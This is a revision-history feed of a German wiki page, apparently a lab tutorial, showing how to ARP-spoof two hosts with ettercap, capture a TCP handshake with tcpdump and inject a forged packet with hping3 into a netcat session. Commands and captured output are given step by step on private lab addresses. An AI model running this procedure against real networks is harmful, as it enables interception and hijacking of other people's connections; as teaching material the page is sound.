https://wiki.ixheim.de/index.php?action=history&feed=atom&title=Packet_Injection 2026-05-15T03:30:59Z Versionsgeschichte dieser Seite in Xinux Wiki MediaWiki 1.35.1 https://wiki.ixheim.de/index.php?title=Packet_Injection&diff=26047&oldid=prev 2021-07-15T13:50:05Z

<p><span dir="auto"><span class="autocomment">Terminal 2</span></span></p> <table class="diff diff-contentalign-left diff-editfont-monospace" data-mw="interface"> <col class="diff-marker" /> <col class="diff-content" /> <col class="diff-marker" /> <col class="diff-content" /> <tr class="diff-title" lang="de"> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">← Nächstältere Version</td> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">Version vom 15. Juli 2021, 13:50 Uhr</td> </tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l32" >Zeile 32:</td> <td colspan="2" class="diff-lineno">Zeile 32:</td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>*DSTPORT=2020</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>*DSTPORT=2020</div></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>;TCPDUMP</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>;TCPDUMP</div></td></tr> <tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div>*tcpdump -ni eth0 -S host <del class="diffchange diffchange-inline">10.0.10.104 </del>and tcp</div></td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>*tcpdump -ni eth0 -S host <ins class="diffchange diffchange-inline">$OPFER </ins>and tcp</div></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>;Wir suchen SEQ, ACK und SRCPORT</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>;Wir suchen SEQ, ACK und SRCPORT</div></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td></tr> <!-- diff cache key my_wiki:diff::1.12:old-25550:rev-26047 --> </table>

Thomas.will https://wiki.ixheim.de/index.php?title=Packet_Injection&diff=25550&oldid=prev 2021-07-05T14:08:23Z

<p><span dir="auto"><span class="autocomment">Überlegung</span></span></p> <table class="diff diff-contentalign-left diff-editfont-monospace" data-mw="interface"> <col class="diff-marker" /> <col class="diff-content" /> <col class="diff-marker" /> <col class="diff-content" /> <tr class="diff-title" lang="de"> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">← Nächstältere Version</td> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">Version vom 5. Juli 2021, 14:08 Uhr</td> </tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l1" >Zeile 1:</td> <td colspan="2" class="diff-lineno">Zeile 1:</td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>=Überlegung=</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>=Überlegung=</div></td></tr> <tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div>*Wir wollen über <del class="diffchange diffchange-inline">Arpsoofing </del>eine Verbindung kontrollieren</div></td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>*Wir wollen über <ins class="diffchange diffchange-inline">Arpspoofing </ins>eine Verbindung kontrollieren</div></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>*Danach wollen wir den 3 Wege Handshake mitschneiden</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>*Danach wollen wir den 3 Wege Handshake mitschneiden</div></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>*Wir ermitteln daraus die Sequenz, Acknowledge Nummer sowie den Source Port</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>*Wir ermitteln daraus die Sequenz, Acknowledge Nummer sowie den Source Port</div></td></tr> <!-- diff cache key my_wiki:diff::1.12:old-25545:rev-25550 --> </table>

Thomas.will https://wiki.ixheim.de/index.php?title=Packet_Injection&diff=25545&oldid=prev 2021-07-05T13:56:40Z

<p></p> <table class="diff diff-contentalign-left diff-editfont-monospace" data-mw="interface"> <col class="diff-marker" /> <col class="diff-content" /> <col class="diff-marker" /> <col class="diff-content" /> <tr class="diff-title" lang="de"> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">← Nächstältere Version</td> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">Version vom 5. Juli 2021, 13:56 Uhr</td> </tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l1" >Zeile 1:</td> <td colspan="2" class="diff-lineno">Zeile 1:</td></tr> <tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;">=Überlegung=</ins></div></td></tr> <tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;">*Wir wollen über Arpsoofing eine Verbindung kontrollieren</ins></div></td></tr> <tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;">*Danach wollen wir den 3 Wege Handshake mitschneiden</ins></div></td></tr> <tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;">*Wir ermitteln daraus die Sequenz, Acknowledge Nummer sowie den Source Port</ins></div></td></tr> <tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;">*Mit diesen Daten wollen wir von unserem Angreifer aus, Daten in die Verbindung injizieren.</ins></div></td></tr> <tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;"></ins></div></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>=Vorraussetzung=</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>=Vorraussetzung=</div></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>*[[Arpspoofing mit Ettercap]]</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>*[[Arpspoofing mit Ettercap]]</div></td></tr> <!-- diff cache key my_wiki:diff::1.12:old-25544:rev-25545 --> </table>

Thomas.will https://wiki.ixheim.de/index.php?title=Packet_Injection&diff=25544&oldid=prev 2021-07-05T13:51:30Z

<p>Die Seite wurde neu angelegt: „=Vorraussetzung= *<a href="/index.php/Arpspoofing_mit_Ettercap" title="Arpspoofing mit Ettercap">Arpspoofing mit Ettercap</a> =Versuchsaufbau= *CLIENT=10.0.10.103 *OPFER=10.0.10.104 *ANGREIFER=10.0.10.101 *DSTPORT=2020 {{#drawio:hacking-1…“</p> <p><b>Neue Seite</b></p><div>=Vorraussetzung=<br /> *[[Arpspoofing mit Ettercap]]<br /> =Versuchsaufbau=<br /> *CLIENT=10.0.10.103<br /> *OPFER=10.0.10.104<br /> *ANGREIFER=10.0.10.101<br /> *DSTPORT=2020<br /> {{#drawio:hacking-1}}<br /> <br /> =Angreifer=<br /> ;Auf Angreifer brauchen wir 2 Terminals<br /> ==Terminal 1==<br /> ;Variablen setzen<br /> *CLIENT=10.0.10.103<br /> *OPFER=10.0.10.104<br /> *ANGREIFER=10.0.10.101<br /> *DSTPORT=2020<br /> ;Arp Spoofing<br /> *ettercap -Tq -i eth0 -M arp /$CLIENT,$OPFER// /$OPFER,$CLIENT//<br /> <br /> ==Terminal 2==<br /> ;Variablen setzen<br /> *CLIENT=10.0.10.103<br /> *OPFER=10.0.10.104<br /> *ANGREIFER=10.0.10.101<br /> *DSTPORT=2020<br /> ;TCPDUMP<br /> *tcpdump -ni eth0 -S host 10.0.10.104 and tcp<br /> ;Wir suchen SEQ, ACK und SRCPORT<br /> <br /> =OPFER=<br /> *nc -lp 2020<br /> =CLIENT=<br /> *nc 10.0.10.104 2020<br /> =ANGREIFER=<br /> ==TERMINAL 2==<br /> *tcpdump -ni eth0 -S host 10.0.10.104 and tcp <br /> <br /> *tcpdump: verbose output suppressed, use -v[v]... for full protocol decode<br /> <br /> listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes<br /> <br /> 15:32:57.007020 IP 10.0.10.103.53730 &gt; 10.0.10.104.2020: Flags [S], seq 1196642424, win 64240, options [mss 1460,sackOK,TS val 783051844 ecr 0,nop,wscale 7], length 0<br /> <br /> 15:32:57.014293 IP 10.0.10.103.53730 &gt; 10.0.10.104.2020: Flags [S], seq 1196642424, win 64240, options [mss 1460,sackOK,TS val 783051844 ecr 0,nop,wscale 7], length 0<br /> <br /> 15:32:57.014686 IP 10.0.10.104.2020 &gt; 10.0.10.103.53730: Flags [S.], seq 3707523260, ack &lt;span style=color:red&gt;'''1196642425'''&lt;/span&gt;, win 28960, options [mss 1460,sackOK,TS val 1977650 ecr 783051844,nop,wscale 7], length 0<br /> <br /> 15:32:57.022274 IP 10.0.10.104.2020 &gt; 10.0.10.103.53730: Flags [S.], seq 3707523260, ack 1196642425, win 28960, options [mss 1460,sackOK,TS val 1977650 ecr 783051844,nop,wscale 7], length 0<br /> <br /> 15:32:57.022652 IP 10.0.10.103.53730 &gt; 10.0.10.104.2020: Flags [.], ack &lt;span style=color:green&gt;'''3707523261'''&lt;/span&gt;, win 502, options [nop,nop,TS val 783051859 ecr 1977650], length 0<br /> <br /> 15:32:57.030231 IP 10.0.10.103.&lt;span style=color:blue&gt;'''53730'''&lt;/span&gt; &gt; 10.0.10.104.2020: Flags [.], ack 3707523261, win 502, options [nop,nop,TS val 783051859 ecr 1977650], length 0<br /> <br /> ;Wir brechen ab mit CTRL-C<br /> ;Weitere Variablen setzen<br /> *SEQ=1196642425<br /> *ACK=3707523261<br /> *SRCPORT=53730<br /> ==Payload generieren==<br /> *echo &quot;hallo tux&quot; &gt; data.dat <br /> ==hping3 injection bauen==<br /> ;Kommando kontrollieren<br /> *echo hping3 -a $CLIENT -s $SRCPORT -p $DSTPORT -A -d 10 -E data.dat -c 1 -M $SEQ -L $ACK $OPFER<br /> ;Kommando abschicken<br /> *hping3 -a $CLIENT -s $SRCPORT -p $DSTPORT -A -d 10 -E data.dat -c 1 -M $SEQ -L $ACK $OPFER<br /> =OPFER=<br /> *nc -lp 2020<br /> hallo tux<br /> <br /> <br /> <br /> <br /> =Links=<br /> *https://www.rationallyparanoid.com/articles/hping.html<br /> *http://www.eggdrop.ch/texts/hping/#2_1<br /> *http://0daysecurity.com/articles/hping3_examples.html<br /> *http://maintain-under-the-radar.org/index.php/security/terminologie/scannen-von-netzwerken</div>

Thomas.will